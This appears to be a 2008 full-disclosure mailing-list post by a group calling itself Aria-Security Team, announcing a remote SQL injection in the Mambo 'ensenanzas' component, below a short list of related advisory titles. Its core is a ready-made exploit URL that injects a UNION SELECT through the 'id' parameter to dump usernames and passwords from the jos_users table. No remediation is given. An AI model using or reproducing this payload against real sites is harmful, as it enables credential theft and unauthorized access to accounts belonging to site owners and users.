Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

PHP-Nuke Module NukeC30 sql injection

[ GLSA 200803-18 ] Cacti: Multiple vulnerabilities

[Full-disclosure] Advisory: SQL-Injections in Mapbender

[Full-disclosure] Advisory: Remote Command Execution in Mapbender

From:	no-reply_(at)_aria-security.net <no-reply_(at)_aria-security.net>
Date:	11.03.2008
Subject:	Mambo Components ensenanzas "id" Remote SQL Injection

Aria-Security Team (Persian Security Network)
http://Aria-Security.Net/
----------------------------
Shoutz: Aura, NULL, Kinglet, iM4N, Imm02tal
Mambo Components ensenanzas "id" Remote SQL Injection
Original Advisory: http://forum.aria-security.net/showthread.php?p=1731


index.
php?option=com_ensenanzas&Itemid=71&id=99999/**/union/**/select/**/0,
username,password,3,4,5,6,7,8/**/from/**/jos_users/*



Regards,
The-0utl4w